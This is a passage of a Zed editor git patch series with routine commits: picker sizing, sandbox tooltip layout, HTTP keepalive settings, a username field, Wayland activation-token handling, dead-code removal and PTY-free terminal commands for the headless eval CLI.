+    // process share one in-memory fallback store (no per-App `AppDatabase` is
+    // set in tests, so `AppDatabase::global` falls back to the shared static).
+    // Reset to the default layout so this write doesn't leak into other tests.
+    cx.dispatch_action(picker::SetPreviewHidden);
+    cx.run_until_parked();
+}
+
 async fn open_close_queried_buffer(
     input: &str,
     expected_matches: usize,
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index 352f60168eaed4..ef58058e5c770b 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -571,7 +571,7 @@ impl<D: PickerDelegate> Picker<D> {
     pub fn initial_width(mut self, width: impl Into<RelativeWidth>) -> Self {
         let width = width.into();
         self.default_shape.width = width;
-        if !self.shape_loaded_from_persistence {
+        if self.live_shape_is_hidden_default() {
             self.shape.set_initial_width(width);
         }
         // A plain picker's whole-picker minimum tracks its opening width. Preview
@@ -591,12 +591,23 @@ impl<D: PickerDelegate> Picker<D> {
     pub fn max_height(mut self, height: impl Into<RelativeHeight>) -> Self {
         let height = height.into();
         self.default_shape.height = height;
-        if !self.shape_loaded_from_persistence {
+        if self.live_shape_is_hidden_default() {
             self.shape.set_initial_height(height);
         }
         self
     }
 
+    /// Whether the live shape still reflects the hidden-layout default, i.e. it
+    /// was not restored from a persisted size and currently opens with no
+    /// preview. Only then may `initial_width`/`max_height` push their
+    /// hidden/no-preview defaults onto it; a picker reopened in a preview layout
+    /// keeps the larger telescope default, which those (smaller) no-preview
+    /// values must not shrink.
+    fn live_shape_is_hidden_default(&self) -> bool {
+        !self.shape_loaded_from_persistence
+            && self.preview_layout().unwrap_or(preview::Layout::Hidden) == preview::Layout::Hidden
+    }
+
     /// Whether the picker fills its full height (preview visible) or shrinks to
     /// fit its content, treating the height as a maximum (no preview visible).
     fn fill_height(&self) -> bool {
@@ -1242,6 +1253,15 @@ impl<D: PickerDelegate> Picker<D> {
         self.preview.as_ref().map(|p| p.layout)
     }
 
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn results_width(&self, window: &Window) -> gpui::Pixels {
+        let layout = self.preview_layout().unwrap_or(preview::Layout::Hidden);
+        let pos = self
+            .shape
+            .results_position_and_size(layout, &self.size_bounds, window);
+        pos.right - pos.left
+    }
+
     fn toggle_preview(&mut self, _: &TogglePreview, window: &mut Window, cx: &mut Context<Self>) {
         self.toggle_preview_visible(window, cx);
     }

From c070f7c8ce25867e7bbb2aeccbe34901f5ee29a2 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 29 Jun 2026 11:27:44 -0300
Subject: [PATCH 159/772] agent_ui: Add some more design tweaks to the sandbox
 tooltip (#60085)

Quick follow up to https://github.com/zed-industries/zed/pull/59980 with
some adjustments.

Release Notes:

- N/A
---
 .../src/conversation_view/thread_view.rs      | 22 +++++---
 .../agent_ui/src/ui/sandbox_status_tooltip.rs | 54 +++++++++++--------
 2 files changed, 47 insertions(+), 29 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index ed4bbeda81900f..f43dfdaa34749b 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -4646,7 +4646,11 @@ impl ThreadView {
             // settings scope (greyed) for context above the disabled status.
             (ThreadSandbox::Sandboxed(settings_policy), ThreadSandbox::Unsandboxed) => {
                 let settings = augment_settings_sandbox_policy(settings_policy, baseline);
-                SandboxStatusTooltip::disabled_for_thread(sandbox_section(&settings, true))
+                SandboxStatusTooltip::disabled_for_thread(sandbox_section(
+                    "Defined in your settings:",
+                    &settings,
+                    true,
+                ))
             }
             (
                 ThreadSandbox::Sandboxed(settings_policy),
@@ -4655,8 +4659,11 @@ impl ThreadView {
                 let settings = augment_settings_sandbox_policy(settings_policy, baseline);
                 // Omit the per-thread section when it grants nothing extra.
                 let thread = (!sandbox_policy_grants_nothing(&thread_policy))
-                    .then(|| sandbox_section(&thread_policy, false));
-                SandboxStatusTooltip::enabled(sandbox_section(&settings, true), thread)
+                    .then(|| sandbox_section("Allowed for this thread:", &thread_policy, false));
+                SandboxStatusTooltip::enabled(
+                    sandbox_section("Defined in your settings:", &settings, true),
+                    thread,
+                )
             }
         };
 
@@ -5625,25 +5632,28 @@ fn augment_settings_sandbox_policy(
     policy
 }
 
-fn sandbox_section(policy: &SandboxPolicy, show_empty: bool) -> SandboxSection {
+fn sandbox_section(title: &str, policy: &SandboxPolicy, show_empty: bool) -> SandboxSection {
     let write_empty = fs_grants_nothing(&policy.fs);
     let network_empty = network_grants_nothing(&policy.network);
-    // Git access is only surfaced when granted, so it never shows a "None" row.
     let git_empty = git_grants_nothing(&policy.git);
 
-    let mut section = SandboxSection::new();
+    let mut section = SandboxSection::new(title.to_string());
+
     if show_empty || !write_empty {
         section =
             section.group(SandboxGroup::new("Write Access").rows(sandbox_fs_rows(&policy.fs)));
     }
+
     if show_empty || !network_empty {
         section = section
             .group(SandboxGroup::new("Network Access").rows(sandbox_network_rows(&policy.network)));
     }
+
     if !git_empty {
         section = section
             .group(SandboxGroup::new("Git Metadata Access").rows(sandbox_git_rows(&policy.git)));
     }
+
     section
 }
 
diff --git a/crates/agent_ui/src/ui/sandbox_status_tooltip.rs b/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
index 506d437b535733..089492bca9573b 100644
--- a/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
+++ b/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
@@ -58,21 +58,21 @@ impl SandboxRow {
         };
 
         h_flex()
+            .items_start()
             .min_w_0()
-            .w_full()
-            .gap_1()
+            .gap_1p5()
             .child(icon)
             .child(
-                Label::new(label)
-                    .size(LabelSize::XSmall)
-                    .buffer_font(cx)
-                    .truncate_start(),
+                div()
+                    .flex_1()
+                    .min_w_0()
+                    .overflow_hidden()
+                    .child(Label::new(label).size(LabelSize::XSmall).buffer_font(cx)),
             )
             .into_any_element()
     }
 }
 
-/// A labelled group of rows (e.g. "Write Access", "Network Access").
 #[derive(Clone)]
 pub struct SandboxGroup {
     heading: SharedString,
@@ -99,7 +99,7 @@ impl SandboxGroup {
 
     fn render(self, cx: &App) -> impl IntoElement {
         v_flex()
-            .gap_1()
+            .gap_1p5()
             .child(
                 Label::new(self.heading)
                     .size(LabelSize::Small)
@@ -109,14 +109,18 @@ impl SandboxGroup {
     }
 }
 
-#[derive(Clone, Default)]
+#[derive(Clone)]
 pub struct SandboxSection {
+    title: SharedString,
     groups: Vec<SandboxGroup>,
 }
 
 impl SandboxSection {
-    pub fn new() -> Self {
-        Self::default()
+    pub fn new(title: impl Into<SharedString>) -> Self {
+        Self {
+            title: title.into(),
+            groups: Vec::new(),
+        }
     }
 
     pub fn group(mut self, group: SandboxGroup) -> Self {
@@ -125,14 +129,16 @@ impl SandboxSection {
     }
 
     fn render(self, cx: &App) -> AnyElement {
-        let mut section = v_flex().gap_1();
-        for (index, group) in self.groups.into_iter().enumerate() {
-            if index > 0 {
-                section = section.child(Divider::horizontal());
-            }
-            section = section.child(group.render(cx));
-        }
-        section.into_any_element()
+        v_flex()
+            .gap_2()
+            .child(Label::new(self.title).size(LabelSize::Small))
+            .children(self.groups.into_iter().map(|group| {
+                v_flex()
+                    .gap_2()
+                    .child(Divider::horizontal())
+                    .child(group.render(cx))
+            }))
+            .into_any_element()
     }
 }
 
@@ -179,9 +185,11 @@ impl RenderOnce for SandboxStatusTooltip {
                 .child(Label::new("Sandboxing is disabled for this thread").size(LabelSize::Small))
                 .into_any_element(),
             SandboxStatusTooltip::Enabled { settings, thread } => v_flex()
+                .gap_2()
                 .child(settings.render(cx))
                 .children(thread.map(|thread| {
                     v_flex()
+                        .gap_2()
                         .child(Divider::horizontal())
                         .child(thread.render(cx))
                 }))
@@ -189,7 +197,7 @@ impl RenderOnce for SandboxStatusTooltip {
         };
 
         v_flex()
-            .min_w(rems(15.))
+            .w(rems_from_px(280.))
             .gap_1()
             .child(Label::new("Sandboxing"))
             .child(content)
@@ -212,7 +220,7 @@ impl Component for SandboxStatusTooltip {
     }
 
     fn preview(_window: &mut Window, cx: &mut App) -> AnyElement {
-        let settings_section = SandboxSection::new()
+        let settings_section = SandboxSection::new("Defined in your settings:")
             .group(SandboxGroup::new("Write Access").rows([
                 SandboxRow::path("/Users/you/project"),
                 SandboxRow::path("/tmp (isolated)"),
@@ -222,7 +230,7 @@ impl Component for SandboxStatusTooltip {
                 SandboxRow::domain("*.npmjs.org"),
             ]));
 
-        let thread_section = SandboxSection::new()
+        let thread_section = SandboxSection::new("Allowed for this thread:")
             .group(
                 SandboxGroup::new("Write Access").row(SandboxRow::path("/Users/you/project/build")),
             )
@@ -232,7 +240,7 @@ impl Component for SandboxStatusTooltip {
                     .row(SandboxRow::git("/Users/you/project/.git")),
             );
 
-        let unrestricted_section = SandboxSection::new()
+        let unrestricted_section = SandboxSection::new("Defined in your settings:")
             .group(
                 SandboxGroup::new("Write Access")
                     .row(SandboxRow::message("All paths (unrestricted)")),

From 485aeabff3dda9db93b262140f1696f7cc0f2c54 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Mon, 29 Jun 2026 10:31:45 -0400
Subject: [PATCH 160/772] reqwest_client: Drop stale connections with
 keepalives (#59929)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

Tune the shared `ReqwestClient` builder so HTTP connections that have
silently gone bad on a flaky network path are detected and dropped
rather than reused.

A stale, reused HTTP/2 connection (after a NAT/conntrack timeout, a
silent reset, or a degraded path) is a common source of intermittent
TLS `BadRecordMac` errors against long-lived endpoints such as
`cloud.zed.dev`. The client already retries these (`HttpSend` is
retryable with exponential backoff), but users still see periodic
multi-second stalls and "connection error" warnings.

These settings make the client probe and recycle connections instead of
sending a request's first records into a connection that is already
dead:

- `tcp_keepalive(30s)` — surface dead TCP connections instead of reusing
them.
- `pool_idle_timeout(30s)` — bound how long an idle connection lingers
in the pool.
- `http2_keep_alive_interval(15s)` / `http2_keep_alive_timeout(10s)` /
`http2_keep_alive_while_idle(true)` — ping idle HTTP/2 connections so
broken ones are torn down.

All three constructors (`new`, `user_agent`, `proxy_and_user_agent`) go
through `builder()`, so every Zed HTTP client picks this up.

## Notes

- Values are conservative; they can be tightened if stale-connection
  errors persist.
- `tcp_keepalive_interval` is not yet available in the pinned
`zed-reqwest`
  fork rev, so only the initial keepalive idle time is set here.

## Verification

Behavior is network-dependent, so there is no deterministic test.
Verified
that the crate builds (`cargo check -p reqwest_client`). The change is
being validated empirically against a setup that reproduces the
`BadRecordMac` errors.

Release Notes:

- Improved resilience to intermittent network errors by detecting and
dropping stale HTTP connections instead of reusing them.
---
 crates/reqwest_client/src/reqwest_client.rs | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/crates/reqwest_client/src/reqwest_client.rs b/crates/reqwest_client/src/reqwest_client.rs
index 3239a48904a6c4..60908d8a8d4f45 100644
--- a/crates/reqwest_client/src/reqwest_client.rs
+++ b/crates/reqwest_client/src/reqwest_client.rs
@@ -30,6 +30,15 @@ impl ReqwestClient {
         reqwest::Client::builder()
             .use_rustls_tls()
             .connect_timeout(Duration::from_secs(10))
+            // Detect and drop connections that have silently gone bad on a
+            // flaky path (NAT timeouts, resets) instead of reusing them. A
+            // stale reused HTTP/2 connection is a common source of
+            // `BadRecordMac` TLS errors against long-lived endpoints.
+            .tcp_keepalive(Duration::from_secs(30))
+            .pool_idle_timeout(Duration::from_secs(30))
+            .http2_keep_alive_interval(Duration::from_secs(15))
+            .http2_keep_alive_timeout(Duration::from_secs(10))
+            .http2_keep_alive_while_idle(true)
     }
 
     pub fn new() -> Self {

From 0a7c84bc37a995f94925bfb51773dbafd0e28805 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Mon, 29 Jun 2026 11:06:18 -0400
Subject: [PATCH 161/772] collab: Add `username` to `User` (#60097)

This PR adds the `username` field to `User` and `proto::User`.

Closes CLO-949.

Release Notes:

- N/A
---
 crates/client/src/test.rs                     | 5 +++--
 crates/cloud_api_types/src/cloud_api_types.rs | 1 +
 crates/cloud_api_types/src/internal_api.rs    | 1 +
 crates/collab/src/auth.rs                     | 1 +
 crates/collab/src/entities/user.rs            | 1 +
 crates/collab/src/rpc.rs                      | 6 +++++-
 crates/collab/src/services/user_service.rs    | 3 +++
 crates/proto/proto/core.proto                 | 1 +
 8 files changed, 16 insertions(+), 3 deletions(-)

diff --git a/crates/client/src/test.rs b/crates/client/src/test.rs
index 19ed333d2a6e48..858bf499cd5a72 100644
--- a/crates/client/src/test.rs
+++ b/crates/client/src/test.rs
@@ -236,14 +236,15 @@ pub fn parse_authorization_header(req: &Request<AsyncBody>) -> Option<Credential
 
 pub fn make_get_authenticated_user_response(
     user_id: i32,
-    github_login: String,
+    username: String,
 ) -> GetAuthenticatedUserResponse {
     GetAuthenticatedUserResponse {
         user: AuthenticatedUser {
             id: user_id,
             metrics_id: format!("metrics-id-{user_id}"),
+            username: username.clone(),
             avatar_url: "".to_string(),
-            github_login,
+            github_login: username,
             name: None,
             is_staff: false,
             accepted_tos_at: None,
diff --git a/crates/cloud_api_types/src/cloud_api_types.rs b/crates/cloud_api_types/src/cloud_api_types.rs
index 54abe293545099..a06e0268c96f48 100644
--- a/crates/cloud_api_types/src/cloud_api_types.rs
+++ b/crates/cloud_api_types/src/cloud_api_types.rs
@@ -38,6 +38,7 @@ pub struct GetAuthenticatedUserResponse {
 pub struct AuthenticatedUser {
     pub id: i32,
     pub metrics_id: String,
+    pub username: String,
     pub avatar_url: String,
     pub github_login: String,
     pub name: Option<String>,
diff --git a/crates/cloud_api_types/src/internal_api.rs b/crates/cloud_api_types/src/internal_api.rs
index c7814a46c399c8..2a352a09da94d3 100644
--- a/crates/cloud_api_types/src/internal_api.rs
+++ b/crates/cloud_api_types/src/internal_api.rs
@@ -4,6 +4,7 @@ use serde::{Deserialize, Serialize};
 pub struct User {
     pub id: String,
     pub legacy_user_id: i32,
+    pub username: String,
     pub github_login: String,
     pub avatar_url: String,
     pub name: Option<String>,
diff --git a/crates/collab/src/auth.rs b/crates/collab/src/auth.rs
index 388c880eb596a7..95cb4626b3eb49 100644
--- a/crates/collab/src/auth.rs
+++ b/crates/collab/src/auth.rs
@@ -68,6 +68,7 @@ pub async fn validate_header<B>(mut req: Request<B>, next: Next<B>) -> impl Into
 
         let user = User {
             id: UserId(response_body.user.id),
+            username: response_body.user.username,
             github_login: response_body.user.github_login,
             avatar_url: response_body.user.avatar_url,
             name: response_body.user.name,
diff --git a/crates/collab/src/entities/user.rs b/crates/collab/src/entities/user.rs
index f0eb46cdab8d39..fd53392e4e7f97 100644
--- a/crates/collab/src/entities/user.rs
+++ b/crates/collab/src/entities/user.rs
@@ -3,6 +3,7 @@ use crate::db::UserId;
 #[derive(Debug, Clone)]
 pub struct User {
     pub id: UserId,
+    pub username: String,
     pub github_login: String,
     pub avatar_url: String,
     pub name: Option<String>,
diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index 074735d82d22be..c0ea34bf3aad70 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -163,6 +163,7 @@ impl Principal {
         match &self {
             Principal::User(user) => {
                 span.record("user_id", user.id.0);
+                span.record("username", &user.username);
                 span.record("login", &user.github_login);
             }
         }
@@ -290,7 +291,7 @@ impl Debug for Session {
         let mut result = f.debug_struct("Session");
         match &self.principal {
             Principal::User(user) => {
-                result.field("user", &user.github_login);
+                result.field("user", &user.username);
             }
         }
         result.field("connection_id", &self.connection_id).finish()
@@ -2684,6 +2685,7 @@ async fn get_users(
         .into_iter()
         .map(|user| proto::User {
             id: user.id.to_proto(),
+            username: user.username,
             avatar_url: user.avatar_url,
             github_login: user.github_login,
             name: user.name,
@@ -2722,6 +2724,7 @@ async fn fuzzy_search_users(
         .filter(|user| user.id != session.user_id())
         .map(|user| proto::User {
             id: user.id.to_proto(),
+            username: user.username,
             avatar_url: user.avatar_url,
             github_login: user.github_login,
             name: user.name,
@@ -4178,6 +4181,7 @@ impl From<User> for proto::User {
     fn from(user: User) -> Self {
         Self {
             id: user.id.to_proto(),
+            username: user.username,
             avatar_url: user.avatar_url,
             github_login: user.github_login,
             name: user.name,
diff --git a/crates/collab/src/services/user_service.rs b/crates/collab/src/services/user_service.rs
index f704bf5673b6c8..abe22504afafc6 100644
--- a/crates/collab/src/services/user_service.rs
+++ b/crates/collab/src/services/user_service.rs
@@ -211,6 +211,7 @@ impl From<internal_api::User> for User {
     fn from(user: internal_api::User) -> Self {
         Self {
             id: UserId(user.legacy_user_id),
+            username: user.username,
             avatar_url: user.avatar_url,
             github_login: user.github_login,
             name: user.name,
@@ -281,6 +282,8 @@ mod fake_user_service {
                 user_id,
                 User {
                     id: user_id,
+                    // For the purposes of the tests we treat these as interchangeable.
+                    username: params.github_login.clone(),
                     avatar_url: format!("https://github.com/{}.png?size=128", params.github_login),
                     github_login: params.github_login,
                     name: name.map(|name| name.to_string()),
diff --git a/crates/proto/proto/core.proto b/crates/proto/proto/core.proto
index c721ab62a11620..ac02d4922cd654 100644
--- a/crates/proto/proto/core.proto
+++ b/crates/proto/proto/core.proto
@@ -9,6 +9,7 @@ message PeerId {
 message User {
   reserved 4;
   uint64 id = 1;
+  string username = 6;
   string github_login = 2;
   string avatar_url = 3;
   optional string name = 5;

From 7c3160b7bfd7c76be9d00ad6edd6a3d4061eea76 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Mon, 29 Jun 2026 11:16:26 -0400
Subject: [PATCH 162/772] gpui_linux: Consume Wayland startup activation token
 (#59995)

When opening Zed from GNOME on Wayland, the cursor can stay stuck in the
launch spinner state for several seconds because GPUI never tells the
compositor that the launched app's first window has loaded. Desktop
launchers pass this information through `XDG_ACTIVATION_TOKEN`, which
Wayland clients are expected to consume once their first toplevel
surface is ready.

This PR fixes that by reading and removing `XDG_ACTIVATION_TOKEN` during
Wayland client startup, storing it on the client state, and consuming it
on the first XDG toplevel surface via the existing
`xdg_activation_v1.activate(token, surface)` plumbing. Anthony manually
verified this on GNOME Wayland.


docs ref: https://wayland.app/protocols/xdg-activation-v1

Release Notes:

- Fixed Linux Wayland cursor being stuck as a spinner for a couple of
seconds.
---
 crates/gpui_linux/src/linux/wayland/client.rs | 31 +++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index cd4aec84b71099..ac637d3fc46876 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -108,6 +108,19 @@ use wayland_protocols::wp::linux_dmabuf::zv1::client::{
 const MIN_KEYCODE: u32 = 8;
 
 const UNKNOWN_KEYBOARD_LAYOUT_NAME: SharedString = SharedString::new_static("unknown");
+const XDG_ACTIVATION_TOKEN_ENV_VAR: &str = "XDG_ACTIVATION_TOKEN";
+
+fn take_startup_activation_token_from_environment() -> Option<String> {
+    let startup_activation_token = std::env::var(XDG_ACTIVATION_TOKEN_ENV_VAR)
+        .ok()
+        .filter(|token| !token.is_empty());
+    // The token must be removed from the environment so it isn't inherited by child
+    // processes we spawn, per the xdg-activation spec: https://wayland.app/protocols/xdg-activation-v1
+    // SAFETY: This runs during Wayland platform initialization before GPUI starts
+    // concurrent environment access or spawning child processes.
+    unsafe { std::env::remove_var(XDG_ACTIVATION_TOKEN_ENV_VAR) };
+    startup_activation_token
+}
 
 #[derive(Clone)]
 pub struct Globals {
@@ -262,6 +275,7 @@ pub(crate) struct WaylandClientState {
     primary_data_offer: Option<DataOffer<ZwpPrimarySelectionOfferV1>>,
     cursor: Cursor,
     pending_activation: Option<PendingActivation>,
+    startup_activation_token: Option<String>,
     event_loop: Option<EventLoop<'static, WaylandClientStatePtr>>,
     pub common: LinuxCommon,
     ime_enabled: Option<bool>,
@@ -296,6 +310,18 @@ pub(crate) enum PendingActivation {
     Window(ObjectId),
 }
 
+impl WaylandClientState {
+    fn consume_startup_activation_token(&mut self, surface: &wl_surface::WlSurface) {
+        let Some(startup_activation_token) = self.startup_activation_token.take() else {
+            return;
+        };
+        let Some(activation) = self.globals.activation.as_ref() else {
+            return;
+        };
+        activation.activate(startup_activation_token, surface);
+    }
+}
+
 /// This struct is required to conform to Rust's orphan rules, so we can dispatch on the state but hand the
 /// window to GPUI.
 #[derive(Clone)]
@@ -537,6 +563,7 @@ fn wl_output_version(version: u32) -> u32 {
 
 impl WaylandClient {
     pub(crate) fn new() -> Self {
+        let startup_activation_token = take_startup_activation_token_from_environment();
         let conn = Connection::connect_to_env().unwrap();
 
         let (globals, event_queue) = registry_queue_init::<WaylandClientStatePtr>(&conn).unwrap();
@@ -741,6 +768,7 @@ impl WaylandClient {
             primary_data_offer: None,
             cursor,
             pending_activation: None,
+            startup_activation_token,
             event_loop: Some(event_loop),
             ime_enabled: None,
         }));
@@ -842,6 +870,9 @@ impl LinuxClient for WaylandClient {
             parent,
             target_output,
         )?;
+        if window.0.toplevel().is_some() {
+            state.consume_startup_activation_token(&window.0.surface());
+        }
         state.windows.insert(surface_id, window.0.clone());
 
         Ok(Box::new(window))

From 380a5c79b66ea1394451ac0a6cbd8c8ac91fdf27 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Mon, 29 Jun 2026 11:38:19 -0400
Subject: [PATCH 163/772] client: Remove unused `cached_user_by_github_login`
 method from `UserStore` (#60103)

This PR removes the `cached_user_by_github_login` method from the
`UserStore`, as it was unused.

Release Notes:

- N/A
---
 crates/client/src/user.rs | 19 +------------------
 1 file changed, 1 insertion(+), 18 deletions(-)

diff --git a/crates/client/src/user.rs b/crates/client/src/user.rs
index c05518cdbacb69..a2a8bf18d2aa6c 100644
--- a/crates/client/src/user.rs
+++ b/crates/client/src/user.rs
@@ -108,7 +108,6 @@ pub enum ContactRequestStatus {
 
 pub struct UserStore {
     users: HashMap<u64, Arc<User>>,
-    by_github_login: HashMap<SharedString, u64>,
     participant_indices: HashMap<u64, ParticipantIndex>,
     update_contacts_tx: mpsc::UnboundedSender<UpdateContacts>,
     edit_prediction_usage: Option<EditPredictionUsage>,
@@ -189,7 +188,6 @@ impl UserStore {
 
         Self {
             users: Default::default(),
-            by_github_login: Default::default(),
             current_user: current_user_rx,
             current_organization: None,
             organizations: Vec::new(),
@@ -260,8 +258,6 @@ impl UserStore {
                                 cx.update(|cx| {
                                     if let Some((user, response)) = current_user_and_response {
                                         this.update(cx, |this, cx| {
-                                            this.by_github_login
-                                                .insert(user.github_login.clone(), user_id);
                                             this.users.insert(user_id, user);
                                             this.update_authenticated_user(response, cx)
                                         })
@@ -317,7 +313,6 @@ impl UserStore {
     #[cfg(feature = "test-support")]
     pub fn clear_cache(&mut self) {
         self.users.clear();
-        self.by_github_login.clear();
     }
 
     async fn handle_show_contacts(
@@ -688,12 +683,6 @@ impl UserStore {
         })
     }
 
-    pub fn cached_user_by_github_login(&self, github_login: &str) -> Option<Arc<User>> {
-        self.by_github_login
-            .get(github_login)
-            .and_then(|id| self.users.get(id).cloned())
-    }
-
     pub fn current_user(&self) -> Option<Arc<User>> {
         self.current_user.borrow().clone()
     }
@@ -968,13 +957,7 @@ impl UserStore {
         let mut ret = Vec::with_capacity(users.len());
         for user in users {
             let user = User::new(user);
-            if let Some(old) = self.users.insert(user.legacy_id, user.clone())
-                && old.github_login != user.github_login
-            {
-                self.by_github_login.remove(&old.github_login);
-            }
-            self.by_github_login
-                .insert(user.github_login.clone(), user.legacy_id);
+            self.users.insert(user.legacy_id, user.clone());
             ret.push(user)
         }
         ret

From a923597341c83df525e082bb5ecb3fa66b53c5f4 Mon Sep 17 00:00:00 2001
From: Anant Goel <anant@zed.dev>
Date: Mon, 29 Jun 2026 08:58:53 -0700
Subject: [PATCH 164/772] Fix agent terminal in headless eval sandbox (#59969)

# Objective

Fix the agent `terminal` tool in headless eval environments. In the eval
sandbox, terminal commands failed before the shell ran with `IOError:
Not a tty (os error 25)` because PTY setup attempted to acquire a
controlling terminal.

## Solution

- Add a `terminal::HeadlessTerminal` global that is set by `eval_cli`
only.
- When headless mode is enabled, run terminal task commands as plain
subprocesses with piped stdout/stderr instead of opening a PTY.
- Pump subprocess output through the existing terminal emulator/event
channel so output capture, completion, and task killing keep working.
- Build ACP terminal commands non-interactively in headless mode.
- Keep the normal editor terminal path unchanged when the global is
unset.
- Handle non-PTY output edge cases by preserving split CRLF sequences
and avoiding an indefinite wait if subprocess exit-status polling
errors.

## Testing

- `cargo fmt --all`
- `cargo test -p util non_interactive_omits_interactive_flag`
- `cargo test -p terminal test_no_pty_task_terminal_captures_output`
- `cargo test -p terminal test_convert_lf_to_crlf_preserves_split_crlf`
- `cargo test -p terminal test_write_output`
- `cargo check -p eval_cli`
- `git --no-pager diff --check`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed the agent terminal tool failing with "Not a tty" in
headless/eval environments
---
 crates/acp_thread/src/acp_thread.rs |  27 +-
 crates/eval_cli/src/headless.rs     |   5 +
 crates/terminal/src/terminal.rs     | 427 +++++++++++++++++++++++-----
 crates/util/src/shell_builder.rs    |  17 ++
 4 files changed, 402 insertions(+), 74 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index a7bbdc3a650196..2f495df96ae17d 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -2,6 +2,7 @@ mod connection;
 mod diff;
 mod mention;
 mod terminal;
+pub use ::terminal::HeadlessTerminal;
 use action_log::{ActionLog, ActionLogTelemetry};
 use agent_client_protocol::schema::{MaybeUndefined, v1 as acp};
 use anyhow::{Context as _, Result, anyhow};
@@ -3877,6 +3878,10 @@ impl AcpThread {
         let project = self.project.clone();
         let language_registry = project.read(cx).languages().clone();
         let is_windows = project.read(cx).path_style(cx).is_windows();
+        // Headless hosts (e.g. the eval CLI) have no controlling TTY, so PTY
+        // setup fails with `ENOTTY`. Run the command non-interactively and
+        // without a PTY in that case.
+        let headless = HeadlessTerminal::is_enabled(cx);
 
         let terminal_id = acp::TerminalId::new(Uuid::new_v4().to_string());
         let terminal_task = cx.spawn({
@@ -3928,19 +3933,25 @@ impl AcpThread {
                         // on Windows that deliberately changes the shell: the
                         // sandboxed path runs under WSL's Linux bash, but this
                         // fallback uses the host's `shell` against the native cwd.
-                        let (task_command, task_args) =
-                            ShellBuilder::new(&Shell::Program(shell), is_windows)
-                                .redirect_stdin_to_dev_null()
-                                .build(Some(command.clone()), &args);
+                        let mut builder = ShellBuilder::new(&Shell::Program(shell), is_windows);
+                        if headless {
+                            builder = builder.non_interactive();
+                        }
+                        let (task_command, task_args) = builder
+                            .redirect_stdin_to_dev_null()
+                            .build(Some(command.clone()), &args);
                         (task_command, task_args, env, None, cwd.clone())
                     };
 
                 #[cfg(not(target_os = "windows"))]
                 let (task_command, task_args, task_env, sandbox, spawn_cwd) = {
-                    let (task_command, task_args) =
-                        ShellBuilder::new(&Shell::Program(shell), is_windows)
-                            .redirect_stdin_to_dev_null()
-                            .build(Some(command.clone()), &args);
+                    let mut builder = ShellBuilder::new(&Shell::Program(shell), is_windows);
+                    if headless {
+                        builder = builder.non_interactive();
+                    }
+                    let (task_command, task_args) = builder
+                        .redirect_stdin_to_dev_null()
+                        .build(Some(command.clone()), &args);
                     let (task_command, task_args, task_env, sandbox) = prepare_sandbox_wrap(
                         task_command,
                         task_args,
diff --git a/crates/eval_cli/src/headless.rs b/crates/eval_cli/src/headless.rs
index 9423f86a3128b9..156c549ac8af71 100644
--- a/crates/eval_cli/src/headless.rs
+++ b/crates/eval_cli/src/headless.rs
@@ -117,6 +117,11 @@ pub fn init(cx: &mut App) -> Arc<AgentCliAppState> {
     prompt_store::init(cx);
     terminal_view::init(cx);
 
+    // The eval CLI runs headless with no controlling TTY, so PTY allocation and
+    // acquiring a controlling terminal fail with `ENOTTY`. Tell the agent to run
+    // its terminal commands without a PTY (and non-interactively) instead.
+    cx.set_global(acp_thread::HeadlessTerminal(true));
+
     let stdout_is_a_pty = false;
     let prompt_builder = PromptBuilder::load(fs.clone(), stdout_is_a_pty, cx);
     agent_ui::init(
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index a48aae5fa6eaad..b3b6c7aff816b0 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -31,7 +31,7 @@ use task::{HideStrategy, Shell, ShellKind, SpawnInTerminal};
 use terminal_settings::{AlternateScroll, CursorShape as SettingsCursorShape, TerminalSettings};
 use theme::{ActiveTheme, Theme};
 use urlencoding;
-use util::{paths::PathStyle, truncate_and_trailoff};
+use util::{ResultExt as _, paths::PathStyle, truncate_and_trailoff};
 
 #[cfg(unix)]
 use std::os::unix::process::ExitStatusExt;
@@ -74,6 +74,23 @@ use crate::alacritty::{
 use crate::mappings::colors::to_vte_rgb;
 use crate::mappings::keys::to_esc_str;
 
+/// Process-wide flag set by headless hosts (e.g. the eval CLI) that have no
+/// controlling TTY. In such sandboxes PTY allocation and acquiring a
